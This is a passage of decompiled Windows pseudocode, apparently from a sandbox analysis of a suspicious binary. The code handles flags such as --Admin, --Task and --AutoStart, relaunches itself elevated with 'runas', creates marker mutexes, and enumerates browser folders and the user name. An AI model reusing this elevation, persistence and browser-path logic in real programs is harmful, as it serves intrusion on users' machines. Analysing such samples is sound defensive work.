									E0040EF50(0x50fec0,  &_v12, __eflags, 0xa);
									_t949 = _v12;
									_t1266 = _t1264 + 4;
									_a148 = 0xf;
									_t1202 = 0;
									__eflags = 0;
									_a144 = 0;
									_a128 = 0;
									do {
										_t1164 =  *((intOrPtr*)(_t949 + _t1202 * 4));
										__eflags =  *_t1164;
										if( *_t1164 != 0) {
											_t982 = _t1164;
											_v12 = _t982 + 1;
											do {
												_t573 =  *_t982;
												_t982 = _t982 + 1;
												__eflags = _t573;
											} while (_t573 != 0);
											_t983 = _t982 - _v12;
											__eflags = _t983;
										} else {
											_t983 = 0;
										}
										_push(_t983);
										E00413EA0(_t949,  &_a128, _t1202, _t1230, _t1164);
										_t1202 = _t1202 + 1;
										__eflags = _t1202 - 0xa;
									} while (_t1202 < 0xa);
									__eflags = _a144 - 0x10;
									_t576 =  >=  ? _a124 :  &_a124;
									_push( >=  ? _a124 :  &_a124);
									 *(_t1230 + 0x8cc) = E00423C24();
									_a220 = 7;
									_a200 = 0;
									_a288 = 0;
									_a272.hwnd = 0;
									_a216 = 0;
									_a292 = 7;
									E00411CD0(_t949,  &_a272,  &_a200);
									_t581 = _a16;
									_t1268 = _t1266 + 8;
									_t950 = _a28;
									__eflags = _t581;
									if(_t581 != 0) {
										L59:
										 *(_t1230 + 0x8cc) = 0;
									} else {
										__eflags = _t950;
										if(_t950 != 0) {
											goto L59;
										} else {
											_a12 = 7;
											_push(0xffffffff);
											_v8 = 0;
											_a8 = 0;
											E00414690(_t950,  &_v8,  &_a200, 0);
											_t1294 = _t1268 - 0x18;
											_t1142 = _t1294;
											_push(0xffffffff);
											 *(_t1142 + 0x14) = 7;
											 *(_t1142 + 0x10) = 0;
											 *_t1142 = 0;
											E00414690(_t950, _t1142,  &_v20, 0);
											E0040D240( *(_t1230 + 0x8cc));
											_t1268 = _t1294 + 0x18;
											__eflags = _v12 - 8;
											if(_v12 >= 8) {
												L00422587(_v16);
												_t1268 = _t1268 + 4;
											}
											_t581 = _a8;
										}
									}
									__eflags =  *0x513235;
									if( *0x513235 != 0) {
										L60:
										E00411A10();
										goto L61;
									} else {
										__eflags = _t581;
										if(_t581 != 0) {
											L62:
											__eflags =  *0x513234;
											if(__eflags != 0) {
												goto L81;
											} else {
												__eflags = _t581;
												if(__eflags == 0) {
													__eflags = _t950;
													if(__eflags == 0) {
														E0040EF50(0x50ffe0,  &_v16, __eflags, 0x10);
														_t1245 = _v16;
														_t1268 = _t1268 + 4;
														_a108 = 0xf;
														_t1217 = 0;
														__eflags = 0;
														_a104.hwnd = 0;
														_a88 = _t950;
														do {
															_t1191 =  *((intOrPtr*)(_t1245 + _t1217 * 4));
															__eflags =  *_t1191;
															if( *_t1191 != 0) {
																_t1136 = _t1191;
																_t950 = _t1136 + 1;
																do {
																	_t859 =  *_t1136;
																	_t1136 = _t1136 + 1;
																	__eflags = _t859;
																} while (_t859 != 0);
																_t1137 = _t1136 - _t950;
																__eflags = _t1137;
															} else {
																_t1137 = 0;
															}
															_push(_t1137);
															E00413EA0(_t950,  &_a88, _t1217, _t1245, _t1191);
															_t1217 = _t1217 + 1;
															__eflags = _t1217 - 0x10;
														} while (_t1217 < 0x10);
														_t861 =  &_a84;
														_t1140 =  &(_v24[0x8d0]);
														__eflags =  &(_v24[0x8d0]) - _t861;
														if( &(_v24[0x8d0]) != _t861) {
															_push(0xffffffff);
															E00413FF0(_t950, _t1140, _t861, 0);
														}
														_t865 = CreateThread(0, 0x61a8000, E0041DBD0, ( *0x513268)[1] + 8, 0, 0x513258);
														__eflags = _a100 - 0x10;
														 *0x513254 = _t865;
														if(__eflags >= 0) {
															L00422587(_a80);
															_t1268 = _t1268 + 4;
														}
													}
												}
												E0040EF50(0x50fe90,  &_v16, __eflags, 0xa);
												_t1292 = _t1268 + 4;
												_t1244 = 0;
												__eflags = 0;
												do {
													_t846 = _v16;
													_a20 =  *(_t846 + _t1244 * 4);
													_t1215 = 2 + lstrlenA( *(_t846 + _t1244 * 4)) * 2;
													_t950 = E00420C62(_t950,  &_v16, _t1215, _t1215);
													E0042B420(_t950, 0, _t1215);
													_t1292 = _t1292 + 0x10;
													MultiByteToWideChar(0, 0, _a20, 0xffffffff, _t950, _t1215 >> 1);
													lstrcatW(0x513290, _t950);
													_t1244 = _t1244 + 1;
													__eflags = _t1244 - 0xa;
												} while (_t1244 < 0xa);
												__eflags = lstrlenW(0x51a7c0);
												if(__eflags <= 0) {
													E0040E760(0x513278, __eflags);
													 *0x529225 = _a16;
													 *0x529226 = _a28;
													_t856 = CreateThread(0, 0x61a8000, E0041E690, 0x513270, 0, 0x51325c);
													 *0x513260 = _t856;
													WaitForSingleObject(_t856, 0xffffffff);
												}
												 *0x513238 = CreateMutexA(0, 0, "{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}");
											}
											goto L82;
										} else {
											__eflags = _t950;
											if(_t950 != 0) {
												goto L62;
											} else {
												__eflags =  *0x513234 - _t950;
												if(__eflags != 0) {
													L81:
													 *0x513230 = CreateMutexA(0, 0, "{FBB4BCC6-05C7-4ADD-B67B-A98A697323C1}");
													L82:
													E0040EF50(0x50ff80,  &_v16, __eflags, 0xa);
													_t1231 = _v16;
													_t1269 = _t1268 + 4;
													_a340 = 0xf;
													_t1204 = 0;
													__eflags = 0;
													_a336 = 0;
													_a320 = 0;
													do {
														_t1167 =  *((intOrPtr*)(_t1231 + _t1204 * 4));
														__eflags =  *_t1167;
														if( *_t1167 != 0) {
															_t986 = _t1167;
															_t950 = _t986 + 1;
															do {
																_t585 =  *_t986;
																_t986 = _t986 + 1;
																__eflags = _t585;
															} while (_t585 != 0);
															_t987 = _t986 - _t950;
															__eflags = _t987;
														} else {
															_t987 = 0;
														}
														_push(_t987);
														E00413EA0(_t950,  &_a320, _t1204, _t1231, _t1167);
														_t1204 = _t1204 + 1;
														__eflags = _t1204 - 0xa;
													} while (_t1204 < 0xa);
													_t1270 = _t1269 - 0x18;
													_v20 = 0;
													_t1168 = _t1270;
													_t1205 =  &_v20;
													 *(_t1168 + 0x14) = 7;
													 *(_t1168 + 0x10) = 0;
													 *_t1168 = 0;
													__eflags =  *0x51a7c0;
													if( *0x51a7c0 != 0) {
														_t989 = 0x51a7c0;
														_t201 =  &(_t989[1]); // 0x51a7c2
														_t1231 = _t201;
														do {
															_t588 =  *_t989;
															_t989 =  &(_t989[1]);
															__eflags = _t588;
														} while (_t588 != 0);
														_t990 = _t989 - _t1231;
														__eflags = _t990;
														_t991 = _t990 >> 1;
													} else {
														_t991 = 0;
													}
													_push(_t991);
													E00415C10(0, _t1168, _t1205, _t1231, 0x51a7c0);
													_t590 = E00412840( &_v20, 0);
													_t1271 = _t1270 + 0x18;
													__eflags =  *((intOrPtr*)(_t590 + 0x14)) - 0x10;
													if( *((intOrPtr*)(_t590 + 0x14)) >= 0x10) {
														_t590 =  *_t590;
													}
													E00410FC0(_t590, _t1205);
													__eflags = _a4 - 0x10;
													_t1232 = _v28;
													if(_a4 >= 0x10) {
														L00422587(_v16);
														_t1271 = _t1271 + 4;
													}
													_t592 = lstrlenA(_v24);
													__eflags = _t592 - 0x20;
													if(_t592 == 0x20) {
														_t1272 = _t1271 - 0x18;
														_t1171 = _t1272;
														_t952 = 0;
														 *(_t1171 + 0x14) = 7;
														 *(_t1171 + 0x10) = 0;
														 *_t1171 = 0;
														__eflags =  *0x51a7c0;
														if( *0x51a7c0 != 0) {
															_t995 = 0x51a7c0;
															_t210 =  &(_t995[1]); // 0x51a7c2
															_t1205 = _t210;
															do {
																_t594 =  *_t995;
																_t995 =  &(_t995[1]);
																__eflags = _t594;
															} while (_t594 != 0);
															_t996 = _t995 - _t1205;
															__eflags = _t996;
															_t997 = _t996 >> 1;
														} else {
															_t997 = 0;
														}
														_push(_t997);
														E00415C10(_t952, _t1171, _t1205, _t1232, 0x51a7c0);
														_t596 = E00412840( &_v24, _t952);
														_t1273 = _t1272 + 0x18;
														__eflags = _t596[0x14] - 0x10;
														if(_t596[0x14] >= 0x10) {
															_t596 =  *_t596;
														}
														lstrcpyA(_t1232 + 0x28, _t596);
														__eflags = _v0 - 0x10;
														if(_v0 >= 0x10) {
															L00422587(_v20);
															_t1273 = _t1273 + 4;
														}
														__eflags =  *0x521cf0;
														if( *0x521cf0 != 0) {
															_t1000 = 0x521cf0;
															_t216 =  &(_t1000[1]); // 0x521cf2
															_t1173 = _t216;
															do {
																_t599 =  *_t1000;
																_t1000 =  &(_t1000[1]);
																__eflags = _t599;
															} while (_t599 != 0);
															_t1001 = _t1000 - _t1173;
															__eflags = _t1001;
															_t1002 = _t1001 >> 1;
														} else {
															_t1002 = 0;
														}
														_push(_t1002);
														E00415C10(_t952, _t1232 + 0x858, _t1205, _t1232, 0x521cf0);
														E0040EF50(0x50ffb0,  &_v36, __eflags, 0xa);
														_t1233 = _v36;
														_t1274 = _t1273 + 4;
														_a248 = 0xf;
														_t1206 = 0;
														__eflags = 0;
														_a244 = 0;
														_a228 = 0;
														do {
															_t1175 =  *((intOrPtr*)(_t1233 + _t1206 * 4));
															__eflags =  *_t1175;
															if( *_t1175 != 0) {
																_t1005 = _t1175;
																_t952 = _t1005 + 1;
																do {
																	_t602 =  *_t1005;
																	_t1005 = _t1005 + 1;
																	__eflags = _t602;
																} while (_t602 != 0);
																_t1006 = _t1005 - _t952;
																__eflags = _t1006;
															} else {
																_t1006 = 0;
															}
															_push(_t1006);
															E00413EA0(_t952,  &_a232, _t1206, _t1233, _t1175);
															_t1206 = _t1206 + 1;
															__eflags = _t1206 - 0xa;
														} while (_t1206 < 0xa);
														_t1275 = _t1274 - 0x18;
														_t1008 = _t1275;
														_push(0xffffffff);
														 *(_t1008 + 0x14) = 0xf;
														 *(_t1008 + 0x10) = 0;
														 *_t1008 = 0;
														E00413FF0(0, _t1008,  &_a228, 0);
														_t1207 = E00412900( &_v40, 0);
														_t955 = _v52 + 0x828;
														_t1276 = _t1275 + 0x18;
														__eflags = _t955 - _t1207;
														if(_t955 != _t1207) {
															__eflags = _t955[5] - 8;
															if(_t955[5] >= 8) {
																L00422587( *_t955);
																_t1276 = _t1276 + 4;
															}
															_t955[5] = 7;
															_t955[4] = 0;
															 *_t955 = 0;
															__eflags = _t1207[5] - 8;
															if(_t1207[5] >= 8) {
																 *_t955 =  *_t1207;
																 *_t1207 = 0;
															} else {
																_t839 = _t1207[4] + 1;
																__eflags = _t839;
																if(_t839 != 0) {
																	E004205A0(_t955, _t1207, _t839 + _t839);
																	_t1276 = _t1276 + 0xc;
																}
															}
															_t955[4] = _t1207[4];
															_t955[5] = _t1207[5];
															__eflags = 0;
															_t1207[5] = 7;
															_t1207[4] = 0;
															 *_t1207 = 0;
														}
														__eflags = _v12 - 8;
														if(__eflags >= 0) {
															L00422587(_v32);
															_t1276 = _t1276 + 4;
														}
														E0040EF50(0x50fef0,  &_v40, __eflags, 0xa);
														_t1234 = _v40;
														_t1277 = _t1276 + 4;
														_a220 = 0xf;
														_t1208 = 0;
														__eflags = 0;
														_a216 = 0;
														_a200 = 0;
														do {
															_t1178 =  *((intOrPtr*)(_t1234 + _t1208 * 4));
															__eflags =  *_t1178;
															if( *_t1178 != 0) {
																_t1011 = _t1178;
																_t955 = _t1011 + 1;
																do {
																	_t608 =  *_t1011;
																	_t1011 = _t1011 + 1;
																	__eflags = _t608;
																} while (_t608 != 0);
																_t1012 = _t1011 - _t955;
																__eflags = _t1012;
															} else {
																_t1012 = 0;
															}
															_push(_t1012);
															E00413EA0(_t955,  &_a200, _t1208, _t1234, _t1178);
															_t1208 = _t1208 + 1;
															__eflags = _t1208 - 0xa;
														} while (_t1208 < 0xa);
														_t1278 = _t1277 - 0x18;
														_t1014 = _t1278;
														_push(0xffffffff);
														 *(_t1014 + 0x14) = 0xf;
														 *(_t1014 + 0x10) = 0;
														 *_t1014 = 0;
														E00413FF0(0, _t1014,  &_a196, 0);
														_t1209 = E00412900( &_v48, 0);
														_t958 = _v60 + 0x840;
														_t1279 = _t1278 + 0x18;
														__eflags = _t958 - _t1209;
														if(_t958 != _t1209) {
															__eflags = _t958[5] - 8;
															if(_t958[5] >= 8) {
																L00422587( *_t958);
																_t1279 = _t1279 + 4;
															}
															_t958[5] = 7;
															_t958[4] = 0;
															 *_t958 = 0;
															__eflags = _t1209[5] - 8;
															if(_t1209[5] >= 8) {
																 *_t958 =  *_t1209;
																 *_t1209 = 0;
															} else {
																_t828 = _t1209[4] + 1;
																__eflags = _t828;
																if(_t828 != 0) {
																	E004205A0(_t958, _t1209, _t828 + _t828);
																	_t1279 = _t1279 + 0xc;
																}
															}
															_t958[4] = _t1209[4];
															_t958[5] = _t1209[5];
															__eflags = 0;
															_t1209[5] = 7;
															_t1209[4] = 0;
															 *_t1209 = 0;
														}
														__eflags = _v20 - 8;
														if(__eflags >= 0) {
															L00422587(_v40);
															_t1279 = _t1279 + 4;
														}
														E0040EF50(0x50ff20,  &_v48, __eflags, 0xa);
														_t1235 = _v48;
														_t1280 = _t1279 + 4;
														_a284 = 0xf;
														_t1210 = 0;
														__eflags = 0;
														_a280 = 0;
														_a264 = 0;
														do {
															_t1181 =  *((intOrPtr*)(_t1235 + _t1210 * 4));
															__eflags =  *_t1181;
															if( *_t1181 != 0) {
																_t1017 = _t1181;
																_t958 = _t1017 + 1;
																do {
																	_t614 =  *_t1017;
																	_t1017 = _t1017 + 1;
																	__eflags = _t614;
																} while (_t614 != 0);
																_t1018 = _t1017 - _t958;
																__eflags = _t1018;
															} else {
																_t1018 = 0;
															}
															_push(_t1018);
															E00413EA0(_t958,  &_a264, _t1210, _t1235, _t1181);
															_t1210 = _t1210 + 1;
															__eflags = _t1210 - 0xa;
														} while (_t1210 < 0xa);
														_t1281 = _t1280 - 0x18;
														_t1020 = _t1281;
														_push(0xffffffff);
														 *(_t1020 + 0x14) = 0xf;
														 *(_t1020 + 0x10) = 0;
														 *_t1020 = 0;
														E00413FF0(0, _t1020,  &_a260, 0);
														_t618 = E00412900( &_v56, 0);
														_t1236 = _v68;
														_t1211 = _t618;
														_t1282 = _t1281 + 0x18;
														_t960 = _t1236 + 0x870;
														__eflags = _t960 - _t1211;
														if(_t960 != _t1211) {
															__eflags = _t960[5] - 8;
															if(_t960[5] >= 8) {
																L00422587( *_t960);
																_t1282 = _t1282 + 4;
															}
															_t960[5] = 7;
															_t960[4] = 0;
															 *_t960 = 0;
															__eflags = _t1211[5] - 8;
															if(_t1211[5] >= 8) {
																 *_t960 =  *_t1211;
																 *_t1211 = 0;
															} else {
																_t817 = _t1211[4] + 1;
																__eflags = _t817;
																if(_t817 != 0) {
																	E004205A0(_t960, _t1211, _t817 + _t817);
																	_t1282 = _t1282 + 0xc;
																}
															}
															_t960[4] = _t1211[4];
															_t960[5] = _t1211[5];
															__eflags = 0;
															_t1211[5] = 7;
															_t1211[4] = 0;
															 *_t1211 = 0;
														}
														__eflags = _v28 - 8;
														if(_v28 >= 8) {
															L00422587(_v48);
															_t1282 = _t1282 + 4;
														}
														_push(0xb);
														_v28 = 7;
														_v32 = 0;
														_v48 = 0;
														E00415C10(_t960,  &_v48, _t1211, _t1236, L"C:\\Windows\\");
														_t1237 = _t1236 + 0x888;
														E00413580(_t960, _t1236 + 0x888,  &_v56);
														__eflags = _v40 - 8;
														if(_v40 >= 8) {
															L00422587(_v52);
															_t1282 = _t1282 + 4;
														}
														_push(0x27);
														_v32 = 7;
														_v36 = 0;
														_v52 = 0;
														E00415C10(_t960,  &_v52, _t1211, _t1237, L"C:\\Program Files (x86)\\Mozilla Firefox\\");
														E00413580(_t960, _t1237,  &_v60);
														__eflags = _v44 - 8;
														if(_v44 >= 8) {
															L00422587(_v56);
															_t1282 = _t1282 + 4;
														}
														_push(0x29);
														_v36 = 7;
														_v40 = 0;
														_v56 = 0;
														E00415C10(_t960,  &_v56, _t1211, _t1237, L"C:\\Program Files (x86)\\Internet Explorer\\");
														E00413580(_t960, _t1237,  &_v64);
														__eflags = _v48 - 8;
														if(_v48 >= 8) {
															L00422587(_v60);
															_t1282 = _t1282 + 4;
														}
														_push(0x1e);
														_v40 = 7;
														_v44 = 0;
														_v60 = 0;
														E00415C10(_t960,  &_v60, _t1211, _t1237, L"C:\\Program Files (x86)\\Google\\");
														E00413580(_t960, _t1237,  &_v68);
														__eflags = _v52 - 8;
														if(_v52 >= 8) {
															L00422587(_v64);
															_t1282 = _t1282 + 4;
														}
														_push(0x21);
														_v44 = 7;
														_v48 = 0;
														_v64 = 0;
														E00415C10(_t960,  &_v64, _t1211, _t1237, L"C:\\Program Files\\Mozilla Firefox\\");
														E00413580(_t960, _t1237,  &_v72);
														__eflags = _v56 - 8;
														if(_v56 >= 8) {
															L00422587(_v68);
															_t1282 = _t1282 + 4;
														}
														_push(0x23);
														_v48 = 7;
														_v52 = 0;
														_v68 = 0;
														E00415C10(_t960,  &_v68, _t1211, _t1237, L"C:\\Program Files\\Internet Explorer\\");
														E00413580(_t960, _t1237,  &_v76);
														__eflags = _v60 - 8;
														if(_v60 >= 8) {
															L00422587(_v72);
															_t1282 = _t1282 + 4;
														}
														_push(0x18);
														_v52 = 7;
														_v56 = 0;
														_v72 = 0;
														E00415C10(_t960,  &_v72, _t1211, _t1237, L"C:\\Program Files\\Google\\");
														E00413580(_t960, _t1237,  &_v80);
														__eflags = _v64 - 8;
														if(_v64 >= 8) {
															L00422587(_v76);
															_t1282 = _t1282 + 4;
														}
														E00413100( &_v76, _t1211, L"D:\\Windows\\");
														_v52 = E00415200( &_v36);
														_t353 = E00415610(_t648) + 0x880; // 0x880
														E00413580(_t960, _t353,  &_v80);
														E00413210( &_v84);
														E00413100( &_v84, _t1211, L"D:\\Program Files (x86)\\Mozilla Firefox\\");
														_t1212 = E00413920( &_v44);
														_t358 = _t1212 + 0x880; // 0x880
														_t961 = _t358;
														E00413580(_t358, _t358,  &_v88);
														E00413210( &_v92);
														E00413100( &_v92, _t1212, L"D:\\Program Files (x86)\\Internet Explorer\\");
														E00413580(_t961, _t961,  &_v96);
														E00413210( &_v100);
														E00413100( &_v100, _t1212, L"D:\\Program Files (x86)\\Google\\");
														E00413580(_t961, _t961,  &_v104);
														E00413210( &_v108);
														E00413100( &_v108, _t1212, L"D:\\Program Files\\Mozilla Firefox\\");
														E00413580(_t961, _t961,  &_v112);
														E00413210( &_v116);
														E00413100( &_v116, _t1212, L"D:\\Program Files\\Internet Explorer\\");
														E00413580(_t961, _t961,  &_v120);
														E00413210( &_v124);
														E00413100( &_v124, _t1212, L"D:\\Program Files\\Google\\");
														E00413580(_t961, _t961,  &_v128);
														E00413210( &_v132);
														_t375 = _t1212 + 0x868; // 0x868
														_t1238 = _t375;
														_t677 = E00413490(_t375, 0);
														__eflags =  *_t677 - 0x2e;
														if( *_t677 != 0x2e) {
															_t800 = E0041CDD0( &_v76, _t1238);
															_t1282 = _t1282 + 4;
															E004131D0(_t1238, _t800);
															E00413210( &_v80);
														}
														E0041C140(E00413560( &_v76), _t961);
														E00413600( &_v80);
														E0040EF50(0x50ff50,  &_v92, __eflags, 0xa);
														_t1283 = _t1282 + 4;
														E00412C20( &_a300);
														_t962 = _v92;
														_t1239 = 0;
														do {
															E00412DE0(_t1212,  *((intOrPtr*)(_t962 + _t1239 * 4)));
															_t1239 = _t1239 + 1;
															__eflags = _t1239 - 0xa;
														} while (_t1239 < 0xa);
														_v8 = 0x100;
														GetUserNameW( &_a388,  &_v8);
														E00413930( &_v76);
														_t1284 = _t1283 - 0x18;
														E00412C40(_t1284, _t1212, "|");
														_t1285 = _t1284 - 0x18;
														E00412BF0(_t1285,  &_a300);
														E0040ECB0( &_v84);
														_t1286 = _t1285 + 0x30;
														_v100 =  *((intOrPtr*)(E0041C410( &_v84,  &_v96)));
														_t697 = E0041C450( &_v104, E0041C420( &_v88,  &_v96));
														__eflags = _t697;
														if(_t697 != 0) {
															do {
																_t782 = E00412F40(E0041C430( &_v88));
																_t1290 = _t1286 - 0x18;
																E00412C40(_t1290, _t1212, _t782);
																_t784 = E00412900( &_v8, 0);
																_t400 = _t1212 + 0x880; // 0x880
																E00413580(_t962, _t400, _t784);
																E00413210( &_v12);
																_t788 = E00413100( &_a96, _t1212,  &_a380);
																_t789 = E00413100( &_v16, _t1212, L"%username%");
																_t405 = _t1212 + 0x880; // 0x880
																_t1239 = _t789;
																_t790 = E00413660(_t405);
																_t406 = _t1212 + 0x880; // 0x880
																E0040F1F0(E004136A0(_t406, _t790 - 1), _t789, _t788);
																_t1286 = _t1290 + 0x1c;
																E00413210( &_v24);
																E00413210( &_a84);
																E0041C440( &_v108);
																_t799 = E0041C450( &_v112, E0041C420( &_v96,  &_v104));
																__eflags = _t799;
															} while (_t799 != 0);
														}
														_t414 = _t1212 + 0x880; // 0x880
														E004136C0(_t414,  &_a204);
														E0040CA70(_t962,  &_v36, _t1212, _t1239);
														_t416 = _t1212 + 0x850; // 0x850
														E004130B0(_t1286 - 0x18, _t416);
														E0040C740();
														E004111C0(E0041C2F0(), L"I:\\5d2860c89d774.jpg");
														E0041BA10(_a4);
														_t707 = E0041BA80(_a4);
														__eflags = _t707;
														if(_t707 != 0) {
															 *(_t1212 + 0x8c0) = 0;
															 *_t1212 =  *0x51323c;
															E00413560( &_v4);
															E00410A50( &_v4);
															E0041C140(E00413560( &_v32),  &_v4);
															E00413600( &_v36);
															E00413100( &_v36, _t1212, L"F:\\");
															E00413580(_t962,  &_v12,  &_v40);
															E00413210( &_v44);
															E00413640( &_v16,  &_v100);
															_t723 = E00413900( &_v108, E00413650( &_v20,  &_v48));
															__eflags = _t723;
															if(_t723 != 0) {
																_t966 = _v48;
																do {
																	E0041C330(_t1212, _t1239, E0041F110( &_v84));
																	E0041C240(_t1212, _t1239, E00419D10( &_a896));
																	L214();
																	_t770 = E0041C2F0();
																	 *(_t1212 + 0x8c0) =  *(_t1212 + 0x8c0) + 1;
																	_t1239 = _t770;
																	E0041B8B0(_t966, _t1239, _t966);
																	_t773 = E004134B0(E0041C470( &_v100));
																	_t441 = _t1239 + 0x8a4; // 0x8a4
																	E00413260(_t441, _t1212, _t773);
																	 *((char*)(_t1239 + 0x8e0)) = 1;
																	E0041FA10(E0041C3D0(), _t1239);
																	E004138D0( &_v108);
																	_t780 = E00413900( &_v112, E00413650( &_v24,  &_v52));
																	__eflags = _t780;
																} while (_t780 != 0);
															}
															 *0x529238 =  *0x51323c;
															E0041FDC0(0x529238);
															_t727 = GetMessageW( &_a272, 0, 0, 0);
															__eflags = _t727;
															if(_t727 != 0) {
																do {
																	TranslateMessage( &_a276);
																	DispatchMessageW( &_a276);
																	_t765 = GetMessageW( &_a276, 0, 0, 0);
																	__eflags = _t765;
																} while (_t765 != 0);
															}
															_t728 =  *0x513250;
															__eflags = _t728;
															if(_t728 != 0) {
																PostThreadMessageW(_t728, 0x12, 0, 0);
																do {
																	_t754 = PeekMessageW( &_a104, 0, 0, 0, 1);
																	__eflags = _t754;
																	if(_t754 != 0) {
																		do {
																			DispatchMessageW( &_a104);
																			_t759 = PeekMessageW( &_a104, 0, 0, 0, 1);
																			__eflags = _t759;
																		} while (_t759 != 0);
																	}
																	_t755 = WaitForSingleObject( *0x513240, 0xa);
																	__eflags = _t755 - 0x102;
																} while (_t755 == 0x102);
															}
															_t729 =  *0x51324c;
															__eflags = _t729;
															if(_t729 != 0) {
																PostThreadMessageW(_t729, 0x12, 0, 0);
																do {
																	_t746 = PeekMessageW( &_a104, 0, 0, 0, 1);
																	__eflags = _t746;
																	if(_t746 != 0) {
																		do {
																			DispatchMessageW( &_a104);
																			_t751 = PeekMessageW( &_a104, 0, 0, 0, 1);
																			__eflags = _t751;
																		} while (_t751 != 0);
																	}
																	_t747 = WaitForSingleObject( *0x513248, 0xa);
																	__eflags = _t747 - 0x102;
																} while (_t747 == 0x102);
															}
															__eflags =  *0x513234;
															_t730 =  *0x513230;
															if( *0x513234 == 0) {
																_t730 =  *0x513238;
															}
															__eflags = _t730;
															if(_t730 != 0) {
																CloseHandle(_t730);
															}
															_t1242 = _a284;
															E00413600( &_v4);
														} else {
															_t1242 = 0;
														}
														E004139D0( &_v76);
														E00412D50( &_a304);
														E00412D50( &_a228);
														E00412D50( &_a156);
														E00412D50( &_a180);
													} else {
														_t1242 = 0;
													}
													E00412D50( &_a252);
												} else {
													_t868 = GetVersion();
													__eflags = _t868 - 5;
													if(_t868 <= 5) {
														goto L60;
													} else {
														lstrcpyW( &_a968, L"--Admin");
														lstrcatW( &_a968, L" IsNotAutoStart");
														lstrcatW( &_a968, L" IsNotTask");
														E0042B420( &_a400, 0, 0x38);
														_a396.cbSize = 0x3c;
														_a412 =  &_a3248;
														_t1268 = _t1268 + 0xc;
														_a400 = 0;
														_a416 =  &_a968;
														_t879 = _t1230 + 0x10;
														__eflags =  *((intOrPtr*)(_t879 + 0x14)) - 8;
														if( *((intOrPtr*)(_t879 + 0x14)) >= 8) {
															_t879 =  *_t879;
														}
														_a420 = _t879;
														_a424 = 5;
														_a408 = L"runas";
														_t881 = ShellExecuteExW( &_a396);
														__eflags = _t881;
														if(_t881 == 0) {
															L61:
															_t581 = _a16;
															goto L62;
														} else {
															_t1242 = 0;
														}
													}
												}
											}
										}
									}
									E00413210( &_a204);
									E00413210( &_a132);
									E00412D50( &_a56);
									E00413B10( &_a44);
									return _t1242;
								} else {
									__eflags = 0;
									E00413B10( &_a116);
									return 0;
								}
							} else {
								_t1145 = _a28;
								_v12 = _t1145 + 0x14;
								_t968 = _t1145 + 0xc;
								_a24 = _t1145 + 0x10;
								while(1) {
									_t895 = E00420235(_t968, _t1201, _t1230,  *((intOrPtr*)(_t1145 + _t1201 * 4)), L"--Admin");
									_t1264 = _t1264 + 8;
									__eflags = _t895;
									_t896 = _a28;
									if(_t895 != 0) {
										goto L17;
									}
									__eflags = lstrcmpW(L"IsAutoStart",  *(_t896 + 4 + _t1201 * 4));
									_t1154 =  ==  ? 1 : _a20 & 0x000000ff;
									_a20 =  ==  ? 1 : _a20 & 0x000000ff;
									__eflags = lstrcmpW(L"IsTask",  *_t968);
									_t1157 =  ==  ? 1 : _a32 & 0x000000ff;
									 *0x513235 = 1;
									_t1201 = _t1201 + 2;
									_a24 =  &(_a24[2]);
									_t968 =  &(_t968[2]);
									_a32 =  ==  ? 1 : _a32 & 0x000000ff;
									_t923 =  &(_v12[2]);
									L25:
									_a24 =  &(_a24[1]);
									_t1201 = _t1201 + 1;
									_t968 =  &(_t968[1]);
									_v12 =  &(_t923[1]);
									__eflags = _t1201 - _a36;
									if(_t1201 < _a36) {
										_t1145 = _a28;
										continue;
									} else {
										goto L26;
									}
									goto L235;
									L17:
									_t897 = E00420235(_t968, _t1201, _t1230,  *((intOrPtr*)(_t896 + _t1201 * 4)), L"--ForNetRes");
									_t1264 = _t1264 + 8;
									__eflags = _t897;
									_t898 = _a28;
									if(_t897 != 0) {
										_t899 = E00420235(_t968, _t1201, _t1230,  *((intOrPtr*)(_t898 + _t1201 * 4)), L"--Task");
										_t1264 = _t1264 + 8;
										__eflags = _t899;
										if(_t899 != 0) {
											_t901 = E00420235(_t968, _t1201, _t1230,  *((intOrPtr*)(_a28 + _t1201 * 4)), L"--AutoStart");
											_t1264 = _t1264 + 8;
											__eflags = _t901;
											if(_t901 != 0) {
												_t903 = E00420235(_t968, _t1201, _t1230,  *((intOrPtr*)(_a28 + _t1201 * 4)), L"--Service");
												_t1264 = _t1264 + 8;
												__eflags = _t903;
												if(_t903 == 0) {
													_t969 = _a28;
													_t1248 = E00423C92( *((intOrPtr*)(_t969 + 4 + _t1201 * 4)));
													_a40 = _t1248;
													lstrcpyW(0x51a7c0,  *(_t969 + 8 + _t1201 * 4));
													lstrcpyW(0x521cf0,  *(_t969 + 0xc + _t1201 * 4));
													while(1) {
														_t1220 = OpenProcess(0x100000, 0, _t1248);
														__eflags = _t1220;
														if(_t1220 == 0) {
															break;
														}
														_t916 = WaitForSingleObject(_t1220, 0x1f4);
														_t917 = CloseHandle(_t1220);
														_t916 - 0x102 = _t917 & 0xffffff00 | _t916 == 0x00000102;
														if((_t917 & 0xffffff00 | _t916 == 0x00000102) == 0) {
															break;
														} else {
															_t919 = E00411AB0();
															__eflags = _t919;
															if(_t919 != 0) {
																GlobalFree(_t969);
																__eflags = 0;
																E00413B10( &_a116);
																return 0;
															} else {
																Sleep(1);
																_t1248 = _a40;
																continue;
															}
														}
														goto L235;
													}
													E00411CD0(_t969, 0, 0);
													 *0x529224 = 0;
													_t1249 = GetCurrentProcess();
													_a40 = 0;
													GetExitCodeProcess(_t1249,  &_a40);
													TerminateProcess(_t1249, _a40);
													CloseHandle(_t1249);
													__eflags = 0;
													E00413B10( &_a116);
													return 0; // executed
												} else {
													goto L24;
												}
											} else {
												_a20 = 1;
												goto L24;
											}
										} else {
											_a32 = 1;
											L24:
											_t923 = _v12;
											goto L25;
										}
									} else {
										 *0x513234 = 1;
										lstrcpyW(0x51a7c0,  *(_t898 + 4 + _t1201 * 4));
										lstrcpyW(0x521cf0,  *_t968);
										__eflags = lstrcmpW(L"IsAutoStart",  *_a24);
										_t1149 =  ==  ? 1 : _a20 & 0x000000ff;
										_a20 =  ==  ? 1 : _a20 & 0x000000ff;
										__eflags = lstrcmpW(L"IsTask",  *_v12);
										_t1151 =  ==  ? 1 : _a32 & 0x000000ff;
										_a24 =  &(_a24[4]);
										_t1201 = _t1201 + 4;
										_t968 =  &(_t968[4]);
										_a32 =  ==  ? 1 : _a32 & 0x000000ff;
										_t923 =  &(_v12[4]);
										goto L25;
									}
									goto L235;
								}
							}
						}
					}
				} else {
					E004124E0();
					return 0;
				}
				L235:
			}

0x00419f93
0x00419f9b
0x00419fa3
0x00419fa5
0x00419fa6
0x00419fab
0x00419fb2
0x00419fc4
0x00419fd2
